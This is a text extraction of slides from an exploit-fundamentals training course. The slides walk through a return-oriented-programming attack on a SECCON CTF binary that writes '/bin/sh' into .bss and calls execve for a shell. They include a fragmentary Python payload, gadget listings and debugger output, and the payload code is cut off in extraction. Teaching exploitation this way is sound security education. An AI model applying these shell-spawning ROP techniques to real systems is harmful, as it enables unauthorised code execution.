Advanced How to attack ● How to do the attack ○ 1. “/bin/sh” and ”-p” etc. are not in memory so we load the strings required for attack into memory ○ read(0, .bss segment address, 100) ■ 0 = standard input ■ .bss = ASLR prevents randomized address ■ 100 = the input limit ○ 2. execve is used to called the system call ○ execve(“/bin/sh”, [“/bin/sh”, “-p”], 0) ■ “/bin/sh” ■ [“/bin/sh”, “-p”] ■ 0 ● Call the string into the fixed memory address and hand this address to execve 0xffffffffffffffff 0x00 Virtual Memory Machine Code(.text Segment) .rodata Segment .bss Segment Heap segment ↓ Stack Segment ↑ main() 0101010101 .data Segment * Only major segments included “/bin/sh\0” “-p\0”, array... write

Slide 67

Slide 67 text

Advanced How to attack - ROP ● If we change the stack like this we can carry out an attack through read() and execve() calls ● We take over the return instruction from the executable code and run arbitrary code instead Return Address buf[] Saved RBP Arguments Return values main() original Stack layout 000000000000000000000000 000000000000 &syscall.Syscall pointer of “add rsp, 32; ret” arg1: read (0) ret1 ret2 .text segment (syscall.Syscall func) … syscall … ret (? func) ... add rsp, 0x38(56) ret ... arg2: standard input (0) arg3: .bss address arg4: 0x100 dummy(0\0\0\0\0\0\0\0) arg1: execve (59) arg2: pointer of “/bin/sh” arg3: pointer of [“/bin/sh”, “-p”] arg4: 0 .bss segment “/bin/sh\0” “-p\0\0\0\0\0\0” 64bit pointer of “/bin/sh” pointer of “-p” null pointer (\0\0\0\0\0\0\0\0) Array Adjust Stack Address ret3 Overwritten by read() Attack flow 1. read() syscall 2. add rsp and adjust stack 3. execve() syscall 64bit dummy(return value1) dummy(return value2) dummy(return value3) &syscall.Syscall 56byte

Slide 68

Slide 68 text

Advanced Exploit addr_bss = 0x564200 shellcode = "\0" * 224 shellcode += struct.pack(" syscall.Syscall shellcode += struct.pack(" (add rsp, 0x38 ; ret) shellcode += struct.pack(" syscall.Syscall shellcode += struct.pack(" dummy shellcode += struct.pack("

Slide 69

Slide 69 text

Advanced Exercise - GDB Demo Link GDB with Stack Layout Image

Slide 70

Slide 70 text

Advanced Exercise ● Hands-on ○ Try yourself using the materials below ○ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise3 ● Understanding with GDB (video on next page) ○ With the command below you can even automate the ret of the main() function ■ gdb bof -x gdb-autocommand ● inout (e.g. writing to /bin/sh) can also be carried out through the read() system call ○ Pay attention to the following ■ After the return pointer is overwritten, the controls are moved to syscall.Syscall with the ret instruction ■ ret is used to hand over another function, ultimately allowing the execve system call to be called

Slide 71

Slide 71 text

Advanced (Reference) ROP (Return-Oriented Programming) ● ROP (Return-Oriented Programming) ○ This way of using the return instruction to run arbitrary code is known as ROP ○ We can run arbitrary code using the ”****; ret” instruction contained in the executable code ■ We will use the instruction ‘add rsp, 0x38 (56); ret’ to alter the Stack in this example ● ROP Gadget ○ The part of the executable code that contains the machine code for ‘****; ret’ is known as the ROP Gadget ○ A tool called rp++, can list the executable commands contained in the ROP Gadget # rp-lin-x64 -f baby_stack -r 1 --unique … 0x00403561: add rsp, 0x30 ; ret ; (199 found) 0x0040197f: add rsp, 0x38 ; ret ; (111 found) 0x00402ae0: add rsp, 0x40 ; ret ; (114 found) … address

Slide 72

Slide 72 text

Advanced (Reference) .bss segment address ● Carry out overwrite of the .bss segment address using read system call ○ How to find the .bss address ■ (If it is not PIE the address will not be randomized) ■ Look at the bss address memory state with GDB # readelf -W -e baby_stack … Section Headers: [Nr] Name Type Address Off Size ES Flg Lk Inf Al ... [11] .bss NOBITS 0000000000564200 164200 01b950 00 WA 0 0 32 ... gdb-peda$ hexdump 0x564200 48 0x00564200 : 2f 62 69 6e 2f 73 68 00 2d 70 00 00 00 00 00 00 /bin/sh.-p...... 0x00564210 : 00 42 56 00 00 00 00 00 08 42 56 00 00 00 00 00 .BV......BV..... 0x00564220 : 00 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 ................

Slide 73

Slide 73 text

Summary ● Today we saw everything from a computer’s work, to attack types, to mitigation methods for attacks ○ 1. Introduction ■ Explanation of how computers operate ○ 2. Stack Buffer Overflow ■ Stack Buffer Overflow hands-on ○ 3. Advanced ■ Attack mitigation technology and how to bypass it ● The game of cat and mouse between attack and defense never ends ■ New vulnerabilities are regularly released ■ By understanding how computers work and the attacks flows used, we can understand which types of vulnerabilities are targeted by what kind of attack in…. ● Our own apps ● The libraries within our own apps ● The containers we manage on our applications ● Enjoy hacking :)

Slide 74

Slide 74 text

Thanks!

Slide 75

Slide 75 text

References ● Reference Materials ○ Computer Organization and Design: David A. Patterson, John L. Hennessy ○ Hacking: The Art of Exploitation: Jon Erickson ○ [試して理解]Linuxのしくみ ~実験と図解で学ぶ OSとハードウェアの基礎知識 Satoru Takeuchi ● Attack Reference Websites ○ 2. Stack Buffer Overflow ■ 『x64でスタックバッファオーバーフローをやってみる 』 Momoiro Technology ○ 3. Advanced ■ 『SECCON 2017 Online Exploit Challenges (Baby Stack)』 ● Main Tools Used ○ IDA Pro Free Disassembler ○ gdb-peda GDB Extension (slide) ○ checksec Check security properties of executables ○ Radare2 Reverse engineering framework and command-line toolset (including rasm2) ○ rp++ Find ROP gadgets

Slide 76

Slide 76 text

Special Thanks ● Reviewers ○ kcz (@kcz146) ● Translator ○ Jason Fernandes